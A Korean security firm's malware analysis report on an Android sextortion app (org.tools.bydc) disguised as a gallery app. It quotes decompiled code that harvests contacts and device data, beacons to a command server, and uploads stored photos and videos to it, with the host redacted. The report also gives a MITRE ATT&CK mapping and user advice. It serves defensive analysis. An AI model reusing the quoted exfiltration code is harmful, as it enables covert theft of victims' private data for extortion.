팀카시아_몸캠피싱 악성앱 분석 보고서 [갤러리_org.tools.bydc]

팀카시아's avatar
Aug 30, 2025
팀카시아_몸캠피싱 악성앱 분석 보고서 [갤러리_org.tools.bydc]

안녕하세요, 팀카시아입니다.

갈수록 진화되는 사이버 범죄 특히, 몸캠피싱 범죄는 사람들에게 인격적으로 되돌릴 수 없는 고통을 안겨줍니다.

몸캠피싱 가해자들은 피해자를 악성 앱으로 유도하여 정보를 빼내는 수법을 사용하는데요.

저희 팀카시아는 이러한 몸캠피싱 악성 앱을 꾸준히 분석하여 사이버 범죄에 대한 전문성을 기르고 있습니다.

팀카시아는 몸캠피싱 악성 앱 분석 보고서를 작성하여 몸캠피싱 악성 앱에 대한 정보를 공유해 드리고자 합니다.

앞으로 많은 관심 부탁드립니다.

목차

01. 개요

1.1 수행 인력

1.2 수행 환경

1.3 수행 대상

02. 진단 상세

2.1 위험도 평가 기준

03. 분석 결과 요약

3.1 악성 행위 개요

3.2 악성 행위 요약

3.3 유의사항

04. 분석 결과 상세

4.1 정적 분석

4.2 동적 분석

05.Mitre Att&ck(Mobile)

06.사용자 대응 가이드

01. 개요

1.1. 수행 인력

악성앱 분석을 수행한 인력은 다음과 같다.

소속

성명

직급

업무

연락처

이메일

CSSIA

비공개

비공개

악성 앱 분석

비공개

비공개

1.2. 수행 환경

악성코드 분석을 수행한 환경은 다음과 같다.

구분

수행원

환경

분석 단말

진단 위치

PC

비공개

Windows 11,

OSX Ventura

Galaxy Note 10

(Android 12, API Level 33)

팀카시아 악성앱 분석실

1.3. 수행 대상

악성코드 분석을 수행한 대상은 다음과 같다.

No

구분

대상 명

패키지 명

플랫폼

비고

1

모바일

비공개

org.tools.bydc

Android

-

No

MD5 해시

1

e739ef1f8e82a65304e432498073fc82

02. 진단상세

2.1. 위험도 평가 기준

위험도는 평가항목에 해당되는 악성 행위에 대해 위험을 가늠할 수 있도록 5단으로 분류했다.

위험도

주요내용

등급

5

가용성에 직접적인 영향

중요 정보(연락처, 사진 등) 노출

단말 제어권한 획득으로 임의 조작 가능

(High)

4

사용자 권한 획득

다른 동작과 연계될 경우 가용성에 직접적인 영향

다른 동작과 연계될 경우 단말기 관리자 권한 획득 등

3

다른 동작과 연계될 경우 시스템 사용자 또는 앱 사용자 권한 획득 등

다른 동작과 연계될 경우 중요 정보 유출 가능성 있음

가용성에 간접적인 영향 등

(Medium)

2

추가적인 공격에 활용 가능한 단말 및 사용자 정보 유출

다른 동작과 연계될 경우 가용성에 간접적인 영향 등

(Low)

1

공격과 직접적인 연관은 없으나 불필요한 정보 등이 공격자 서버에 유출

단말기에 관한 일반 정보 유출 등

03. 분석 결과 요약

3.1. 악성행위 개요

갤러리 앱은 안드로이드 플랫폼에서 작동하는 스피어 피싱을 목적으로 한 피싱 앱이다.

악성 앱 실행 시 단말의 전화번호, 통화기록, 위치정보, 사용자 연락처에 저장된 정보, 수발신 문자 목록 등을 수집하여 공격자의 서버(C&C)로 전송한다.

그림 1 앱 악성 행위 개요도

3.2. 악성행위 요약

도출한 악성행위는 다음과 같다.

대상

순번

악성행위 분석

위험도

갤러리

(org.tools.bydc)

1

연락처 목록 전체 수집 및 유출

5

2

문자(SMS) 기록 전체 수집 및 유출

5

3

단말 전화번호/통화기록 수집 및 유출

3

4

사진/동영상 수집 및 유출

3

3.3. 유의사항

본 분석은 당사에서 수집한 악성 APK 샘플에서 수행되었고 분석을 위한 참조 자료로만 활용되어야 하며, 악성코드 제작 등의 용도로 악용을 금지한다.

본 자료의 전체 혹은 일부를 팀카시아의 허락을 받지 않고, 무단 개제, 복사 배포 등의 행위는 엄격히 금지한다.

이를 어길 시 민형사상의 손해배상에 처해질 수 있다.

04. 분석 결과 상세

4.1. 정적분석

4.1.1. 권한 분석

앱이 요청하는 권한은 단말에서 수행하는 행위의 범위를 나타낸다.

‘위험 권한’의 요청은 사용자의 개인 정보의 접근이나 단말 시스템의 주요 기능과 연관되어 있어, 악용될 경우 사용자의 보안에 위협이 될 수 있다.

권한의 선언만으로는 앱의 악성 행위 여부를 판단하기 어렵지만, 앱의 전반적인 행위와 결합하여 평가할 수 있는 지표이다.

대상 앱에서 선언하는 권한과 설명은 다음과 같다.

그림 2 AndroidManifest.xml 내 권한 선언

No

요청 권한

권한 설명

중요권한여부

1

android.permission.ACCESS_COARSE_LOCATION

대략적 위치정보 접근

Y

2

android.permission.ACCESS_FINE_LOCATION

정확한 위치정보 접근

Y

3

android.permission.INTERNET

앱 인터넷 연결

N

4

android.permission.READ_CONTACTS

연락처 읽기

Y

5

android.permission.BATTERY_STATS

배터리 상태 읽기

N

6

android.permission.ACCESS_NETWORK_STATE

네트워크 상태 접근

N

7

android.permission.ACCESS_WIFI_STATE

와이파이 연결 상태 읽기

N

8

android.permission.CHANGE_WIFI_STATE

와이파이 연결 상태 변경

N

9

android.permission.READ_PHONE_NUMBERS

단말 전화번호 읽기

Y

10

android.permission.READ_EXTERNAL_STORAGE

외부 저장소 읽기

Y

11

android.permission.FOREGROUND_SERVICE

서비스 동작 실행

N

* 중요 권한 여부는 안드로이드 공식 문서 기준

4.1.2. 액티비티(Avtivity)

액티비티는 안드로이드 앱의 화면 구성 단위로, 사용자와 상호작용을 위한 인터페이스를 제공한다.

액티비티 분석은 앱의 기능적 구성요소와 사용자 인터페이스 설계를 파악할 수 있다.

예를 들어, 앱 내의 로그인 화면, 메인 메뉴, 설정 화면 등은 각각 별도의 액티비티로 구현했다.

악성 앱의 경우, 액티비티를 통해 사용자를 속이기 위한 화면을 제공하고 숨겨진 기능을 통해 악성 행위를 수행할 수 있다.

대상 앱에 선언된 액티비티는 다음과 같다.

그림 3 AndroidManifest.xml 파일 내 액티비티 선언

No

액티비티

비고

1

com.activity.ChatStartActivity

메인 액티비티

2

com.activity.ChatEndActivity

-

4.1.3. 서비스(Service)

서비스는 사용자 인터페이스 없이 백그라운드에서 실행되는 컴포넌트로, 긴 작업 수행이나 네트워크 전송을 처리할 때 사용된다.

악성 앱의 경우 서비스는 앱이 사용자의 인지 없이 액티비티를 수행하거나, 지속적으로 데이터를 수집하고 전송하는 데 사용될 수 있다.

대상 앱에 선언된 서비스는 다음과 같다.

No

서비스

비고

1

com.service.PhotoService

-

2

com.service.AliveService

-

3

com.service.HoldOnService

-

4

com.service.PushService

-

4.1.4. 리시버(Receiver)

리시버는 다양한 시스템 이벤트(예: 부팅 완료, 네트워크 상태 변경)에 반응하여 앱을 실행할 수 있다.

악성 앱이 특정 조건이나 이벤트에 따라 액티비티를 시작하거나 민감정보를 수신하는 데 활용될 수 있으며, 대상 앱에 선언된 리시버는 존재하지 않는다.

4.2. 동적 분석

4.2.1. 사용자 직접 실행

대상 앱의 동적 분석 과정에서 사용자에 의한 직접 실행을 기반으로 하는 앱의 동작을 분석한다.

앱이 사용자의 실행으로 어떻게 구동되고, 사용자와 상호작용에 반응하는지 분석하고, 분석의 시작점은 사용자가 앱을 실행하는 순간으로 설정한다.

초기 로딩, 권한 요청, 주요 기능 실행 등을 어떻게 처리하는지 분석했으며,

앱의 실행 흐름을 따라가면서, 네트워크 통신, 데이터 저장 및 처리 등 앱의 핵심 동작을 실시간으로 모니터링하였다.

특히, 의심스러운 네트워크 활동, 민감한 정보의 무단 수집 및 전송, 비정상적 시스템 자원 사용 등의 행위를 식별했다.

1. 앱 동작 중요 권한 요청​

앱을 실행한 후에는 단말의 화면에 띄울 레이아웃을 설정한다. 설정한 후에는 단말의 안드로이드 버전(SDK)에 맞게 권한을 요청했다.

// com.activity.ChatStartActivity;

@Override // z0.b

public final void onCreate(Bundle bundle0) {

super.onCreate(bundle0);

ImageView imageView0 = (ImageView)this.findViewById(0x7F0800F1);

FrameLayout frameLayout0 = (FrameLayout)this.findViewById(0x7F0800F2);

com.activity.ChatStartActivity.a chatStartActivity$a0 = new Runnable() {

@Override

public final void run() {

int v1;

n n0;

Objects.requireNonNull(ChatStartActivity.this);

ArrayList arrayList0 = new ArrayList();

arrayList0.add("android.permission.READ_CONTACTS");

arrayList0.add("android.permission.READ_PHONE_NUMBERS");

ChatStartActivity chatStartActivity0 = ChatStartActivity.this;

Objects.requireNonNull(chatStartActivity0);

LinkedHashSet linkedHashSet0 = new LinkedHashSet();

LinkedHashSet linkedHashSet1 = new LinkedHashSet();

int v = Build.VERSION.SDK_INT;

for(Object object0: arrayList0) {

String s = (String)object0;

if(d1.b.a.contains(s)) {

linkedHashSet1.add(s);

continue;

}

linkedHashSet0.add(s);

}

if((linkedHashSet1.contains("android.permission.ACCESS_BACKGROUND_LOCATION")) && v == 29) {

linkedHashSet1.remove("android.permission.ACCESS_BACKGROUND_LOCATION");

linkedHashSet0.add("android.permission.ACCESS_BACKGROUND_LOCATION");

}

...(생략)...

}

코드 1 실행 시 앱 레이아웃 설정 및 권한 요청

요청하는 권한은 다음과 같다.

권한명

설명

비고

android.permission.READ_CONTACTS

연락처 읽기

-

android.permission.READ_PHONE_NUMBERS

단말기 전화번호 읽기

-

android.permission.ACCESS_BACKGROUND_LOCATION

백그라운드에서 위치정보 수집

-

android.permission.SYSTEM_ALERT_WINDOW

시스템 알림 창 표시

-

android.permission.WRITE_SETTINGS

단말 시스템 설정 변경

-

android.permission.MANAGE_EXTERNAL_STORAGE

외부 저장소 관리(읽기, 쓰기)권한

-

android.permission.REQUEST_INSTALL_PACKAGE

단말에 설치된 앱 목록 조회

API 26 이상

단말기 버전 정보, 권한의 최초 허용 여부에 따라 필수 권한에 대해 반복적으로 요청하는 코드가 포함되어 있다.

함수명은 난독화되어 있으나 기능을 분석하였을 때 다음의 동작을 수행했다.

// com.activity.ChatStartActivity;

c c0 = new c();

c0.a(new s(o0)); // 요청할 권한 목록을 저장하기 위한 데이터셋(Hashmap) 지정

c0.a(new p(o0)); // 단말 버전에 맞는 백그라운드 위치정보 수집 권한 선언

c0.a(new t(o0, 0)); // 시스템 알림 창 표시 권한 선언, 시스템 설정 변경 권한 선언

c0.a(new t(o0, 1));

c0.a(new r(o0)); // 외부 저장소 관리 권한 선언

c0.a(new q(o0)); // 단말에 설치된 앱 목록 조회 권한 선언

a a0 = (a)c0.a;

if(a0 != null) {

a0.request(); // 선언한 권한 요청

}

코드 2 앱 실행 필수 권한 선언 및 요청

앱 실행 및 권한 요청 시 사용자에게 권한의 허용을 요청했다.

안드로이드 운영체제에서 설정한 위험 권한에 대해서만 사용자 직접 허용이 필요하며, 이외 권한의 경우 단말에서 지원하는 기능인 경우 자동으로 허용된다.

그림 4 앱 실행 및 권한 요청

권한 허용 시 단말 로그에도 실제로 권한이 허용되었음을 확인할 수 있는 기록이 남고 있다.

그림 5 단말 로그 내 권한 허용 메시지 확인

2. 단말기 기본 정보 수집​

‘제조사’, ‘모델명’, ‘단말 전화번호’, ‘현재 시간’ 등 단말 정보를 수집하여 하나의 문자열(‘**’ 문자열로 구분)로 저장했다.

//com.Activity.ChatStartActivity;

public static void p(ChatStartActivity chatStartActivity0, String s, String s1) {

String s3;

Objects.requireNonNull(chatStartActivity0);

String s2 = Build.BRAND + "-" + Build.MODEL;

StringBuilder stringBuilder0 = new StringBuilder(s + "**" + s1 + "**" + s2);

StringBuilder stringBuilder1 = new StringBuilder(s + "**" + s1 + "**" + s2 + "**" + System.currentTimeMillis() / 1000L);

try {

s3 = ChatStartActivity.o(stringBuilder1.toString());

}

catch(Exception exception0) {

throw new RuntimeException(exception0);

}

Objects.requireNonNull(g.o(chatStartActivity0.q));

List list0 = LitePal.where(new String[]{"send=?", "0"}).order("name desc").find(InvitePojo.class);

if(list0 != null && !list0.isEmpty()) {

for(Object object0: list0) {

stringBuilder0.append('=');

stringBuilder0.append(((InvitePojo)object0).getName());

stringBuilder0.append('|');

stringBuilder0.append(((InvitePojo)object0).getPhone());

((InvitePojo)object0).setSend(true);

}

}

((PostFormBuilder)OkHttpUtils.post().url("http://비공개:1748/api/uploads/api")).addParams("data", stringBuilder0.toString()).addParams("uid", s3).build().execute(new e(chatStartActivity0, s, s1, list0));

}

}

코드 3 단말 기본정보 수집 및 공격자 서버 전송 코드

수집 후에는 문자열을 암호화하여 통신 구간에서 식별할 수 없도록 하며, 공격자의 서버로 수집한 정보를 전송한다.

후킹을 통해 앱 실행 시점의 데이터가 실제 암호화되는 로직을 분석했다.

그림 6 단말 정보 수집 및 암호화 후 문자열 확인

그림 7 수집한 정보 공격자 서버 전송 패킷

수집한 정보 문자열을 HTTP Post 요청의 본문(body)에 추가하고 공격자의 서버로 전송한다.

식별된 공격자의 서버 정보는 다음과 같음. 현재(2024. 05) 기준 공격 서버는 동작하지 않았다.

C&C 도메인(IP주소)

국가/지역

비공개

국가: 홍콩

Continent Name: Asia

Country Name: Hongkong

참고: https://ipgeolocation.io/ip-location/비공개

3. 연락처 정보 수집​

단말의 연락처에 접근하여 ‘이름’, ‘별명’, ‘휴대전화 번호’, ‘이메일 등 데이터를 수집한다.

코드는 아래와 같으며, 연락처 저장소에 접근하여 음영처리한 요소(id, display_name 등)를 수집하고 있다.

// com.activity.ChatStartActivity;

// RUN()

@Override

public final void run() {

b b0 = this.d.a.q;

ArrayList arrayList0 = new ArrayList();

Cursor cursor0 = b0.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

while(cursor0 != null && (cursor0.moveToNext())) {

InvitePojo invitePojo0 = new InvitePojo();

String s = cursor0.getString(cursor0.getColumnIndex("_id"));

invitePojo0.setName(cursor0.getString(cursor0.getColumnIndex("display_name")));

Cursor cursor1 = b0.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id=" + s, null, null);

while(cursor1 != null && (cursor1.moveToNext())) {

invitePojo0.setPhone(cursor1.getString(cursor1.getColumnIndex("data1")).replace("-", "").replace(" ", ""));

}

Cursor cursor2 = b0.getContentResolver().query(ContactsContract.Data.CONTENT_URI, new String[]{"_id", "data1"}, "contact_id=? AND mimetype=\'vnd.android.cursor.item/nickname\'", new String[]{s}, null);

if(cursor2 != null && (cursor2.moveToFirst())) {

do {

label_13:

invitePojo0.setNote(cursor2.getString(cursor2.getColumnIndex("data1")));

if(cursor2.moveToNext()) {

goto label_13;

}

break;

}

while(true);

}

arrayList0.add(invitePojo0);

if(cursor1 != null) {

cursor1.close();

}

if(cursor2 == null) {

continue;

}

cursor2.close();

}

if(cursor0 != null) {

cursor0.close();

}

코드 4연락처 정보 수집 코드

분석 단말기에 저장된 연락처 정보는 다음과 같으며, 연락처에 저장된 정보를 공격자의 서버로 전송한다.

그림 8 연락처에 저장된 정보

그림 9 연락처 정보 전송 패킷

4. 로딩중 메시지 출력

서버의 동작 여부와 관계없이, 앱 화면에는 로딩중 메시지를 출력한다. 버튼 입력과 기능을 수행할 수 없다.

그림 10 로딩중 메시지 출력 화면

이성의 사진, 동영상 등을 확인할 수 있는 기능을 제공하는 것이 아닌 앱 내 저장된 파일을 로드하는 것을 식별한다.

이성의 사진이나 영상 등의 제공을 위한 어떠한 기능의 구현이나 코드는 존재하지 않으며, 악성 행위만을 수행하고 있다.

💡 Disclaimer

본 보고서에 제시된 분석 결과는 특정 안드로이드 버전 및 실행 환경에 기반한 것이다.

안드로이드 운영 체제는 버전에 따라 지원하는 API와 기능에 상당한 차이가 존재하며, 이는 앱의 동작 및 분석 결과에 영향을 줄 수 있다.

특히 일부 API는 최신 버전의 안드로이드에서는 사용이 제한되거나 이전 버전에서 지원하지 않을 수 있고 이러한 차이는 앱의 동작에 영향을 미칠 수 있다. 본 보고서의 분석 결과는 특정한 실행 환경과 안드로이드 버전에 한정된 것으로 다른 환경 또는 버전에서는 상이한 결과가 나타날 수 있음을 유의해야 한다.

4.2.2. 외부 요인에 의한 실행

외부 이벤트나 조건에 의해 활성화되는 시나리오를 분석했다. 앱이 사용자의 직접적인 상호작용 없이도 특정 기능을 실행할 수 있음을 의미한다.

분석은 앱이 시스템 이벤트(예: 네트워크 상태 변경, SMS 수신 등), 푸시 알림, 다른 앱의 요청 등과 같은 외부 요인에 어떻게 반응하는지 분석한다.

특히, 앱이 백그라운드에서 데이터를 수집, 전송하거나 무단으로 시스템 설정을 변경하는 등의 행위를 하는지 여부를 확인했다.

앱이 사용자의 인지나 동의 없이 실행하는 행위를 분석한다.

1. 서비스로 등록된 액티비티

앱 실행시 주기적으로 공격자의 서버로 앱이 정상적으로 설치되어 동작중임을 알리고 있다.

패킷을 주기적으로 전송하고 있으며, 공격자로부터 공격 수행 명령 수신 시 외부 저장소 파일 유출, 전화 걸기 등 기능을 수행하는 코드를 확인한다.

// com.service.AliveService;

@Override // android.app.Service

public final void onCreate() {

super.onCreate();

this.f = this.getSharedPreferences("config", 0).getString("phoneNum", "");

new Thread(new Runnable() {

@Override

public final void run() {

while(true) {

AliveService.this.a(AliveService.this.f);

try {

Thread.sleep(3000L); // 3초(3000ms) 주기로 패킷 전송

}

catch(InterruptedException interruptedException0) {

interruptedException0.printStackTrace();

}

}

}

}).start();

}

코드 5 주기적으로 공격 서버로 앱 설치 여부 전송 코드

그림 11 앱이 설치되었음을 알리는 패킷(keep-alive 패킷)

공격 서버에서 파일 수집 명령을 수신한 경우 다음의 코드가 실행되어 외부 저장소에 저장된 파일(이미지, 영상 등)에 접근해

공격자의 서버(http://비공개1748/api/uploads/upload)로 전송하는 코드는 다음과 같다. 분석 시 공격 서버가 동작하지 않아 정적 분석만 진행하였다.

//com.service.PhotoService;

public class PhotoService extends Service {

public List d;

public int e;

public final Handler f;

public String g;

public static final int h;

public PhotoService() {

this.f = new Handler();

}

public static void a(PhotoService photoService0) {

c c0 = new c(photoService0);

photoService0.f.postDelayed(c0, 1000L);

}

public static void b(PhotoService photoService0, String s) {

Objects.requireNonNull(photoService0);

Toast.makeText(photoService0, s, 1).show();

}

public final String c() {

if(this.d != null && !this.d.isEmpty()) {

ImgPojo imgPojo0 = (ImgPojo)this.d.get(0);

File file0 = new File(imgPojo0.getPath());

if(!file0.exists()) {

imgPojo0.delete();

this.d.remove(0);

this.c();

return "";

}

((PostFormBuilder)OkHttpUtils.post().addFile("file", imgPojo0.getName(), file0).url("http://비공개:1748/api/uploads/upload")).build().execute(new b(this, imgPojo0));

return "";

}

this.stopSelf();

return "12345678";

}

코드 6 외부 저장소 접근 및 파일 유출

05. Mitre Att&ck(Mobile)

보안 기술이 발달함에 따라 공격자도 자신의 공격 기술을 발전시키고 있다.

수집한 피싱앱의 악성 행위 사례를 분석하여, 공격 기법과 프로세스를 이해하여 최신의 기술을 반영해

피해자의 피해를 최소화하기 위해 앱이 어떤 보안 위협 모델에 해당하는지를 Mitre Att&ck 매트릭스를 이용하여 분석했다.

대상 피싱앱 해당 항목

접근

(Initial Access)

실행

(Execution)

권한상승

(Privilege Escalation)

방어체계 우회

(Defense Evasion)

인증정보 접근

(Credential Access)

탐색

(Discovery)

수집

(Collection)

명령제어

(Command & Control)

영향

(Impact)

SMS 링크 접근

사용자 직접 실행

루트 권한 요청

난독화

피싱 페이지

네트워크 연결

네트워크 설정 수집

암호화된 채널

단말 정보 삭제

배포 웹 페이지 링크 접근

다른 앱에서 실행

익스플로잇

실행중 파일생성

저장된 정보 접근

네트워크 설정

위치정보 수집

표준 포트

통신 요금 과도 발생

소셜(SNS) 앱 전달

백그라운드 동작

암호화

직접 입력

위치정보 탐색

연락처 수집

비표준 포트

민감 정보 유출

패킹

문자 수신

목록 수집

보안 앱 탐색

문자(SMS) 정보 수집

원격 명령 실행

인증정보 탈취로 사용자 위장

스테가노그래피

설치된 앱 탐색

통화목록 수집

스케쥴링

저장된 정보 암호화

시스템 정보

탐색

저장된 파일 수집

조건부 실행

광고 생성

파일 목록 탐색

키로깅(Keylogging)

저장된 정보 조작

실행중 프로세스 탐색

화면 캡처

통신구간 정보 조작

06. 사용자 대응 가이드

분석한 내용을 바탕으로 사용자 대응 가이드를 제시한다.

Mitre Att&ck에서 사용자가 제어할 수 있는 각 단계를 기반으로 사용자가 주의할 내용과 악성앱 실행 시 취할 수 있는 조치를 제시한다.

1. 의심스러운 링크 클릭 금지

인터넷을 사용하면서 접하는 링크 중에는 피싱이나 악성 코드를 포함하고 있는 경우가 있다.

이러한 링크는 이메일, 문자 메시지, 소셜 미디어, 심지어 친구나 지인으로부터 받은 것일지라도 의심스러운 경우 클릭을 피해야 한다.

특히, 앱을 다운로드할 때는 항상 공식 앱 스토어를 이용하고, 공식 스토어가 아닌 곳에서 제공하는 앱은 설치하지 않도록 한다.

공식 스토어 외부에서 제공되는 앱은 검증되지 않았을 가능성이 높으며, 악성 코드가 포함될 위험이 있다.

2. 최신 안드로이드 버전 업데이트 유지

구버전의 안드로이드 운영 체제는 보안 취약점을 포함하고 있을 수 있다.

이러한 취약점은 공격자가 악성 행위를 수행하기 위해 악용할 수 있다. 따라서, 안드로이드 기기를 항상 최신 버전으로 업데이트하는 것이 중요하다.

시스템 업데이트는 보안 패치 및 새로운 보안 기능을 제공하여 기기와 데이터를 보호할 수 있다.

3. 주기적 미사용 앱 삭제

스마트폰에 설치되어 있지만 사용하지 않는 앱들은 보안 위험을 증가시킬 수 있다.

이러한 앱들은 종종 업데이트되지 않아 새로운 보안 취약점에 노출될 수 있어 주기적으로 기기를 검토하고

더 이상 사용하지 않는 앱을 삭제함으로써, 불필요한 보안 위험을 줄일 수 있다.

4. 앱 권한 부여 관리

앱을 설치하거나 사용할 때 요구되는 권한을 신중하게 검토해야 한다.

많은 앱들이 기능 실행에 필요한 것 이상의 권한을 요청할 수 있으며, 이는 사용자의 개인정보와 보안에 위험을 초래할 수 있다.

예를 들어, 플래시라이트 앱이 연락처 접근 권한을 요구하는 경우, 이는 의심스러운 요구로 간주될 수 있다. 반드시 필요한 권한만 허용하여 사용해야한다.

안드로이드 단말의 설정 메뉴에서 앱 권한을 관리할 수 있으며, 사용자는 각 앱에 부여된 권한을 확인하고 필요하지 않은 권한은 비활성화할 수 있다.

이미 설치된 앱에 대해서도 주기적으로 검토하는 것을 권장한다.

5. 단말기의 비정상 동작 감지 시 전문가 상담

기기가 평소와 다르게 느려지거나 예상치 못한 방식으로 동작하는 경우, 이는 악성 앱의 영향일 수 있다.

이러한 증상이 나타날시 기기를 전문가에게 검사해야 한다. 전문가는 기기의 보안 상태를 확인하고

필요한 경우 악성 코드 제거나 기타 보안 조치를 취할 수 있다.


몸캠피싱 악성 앱 [갤러리_org.tools.bydc] 분석을 마치며, 낯선 이가 공유하는 앱을 함부로 다운받지 않도록 당부 말씀드립니다.

이상, 사이버 범죄 몸캠피싱 대응 전문 기업 팀카시아였습니다.

도움이 필요하시면 언제든 연락 바랍니다.

PERSONALITY GUARDIAN

"고객님의 소중한 인격을 몸캠피싱으로부터 지키겠습니다."

Share article

몸캠피싱 해결 팀카시아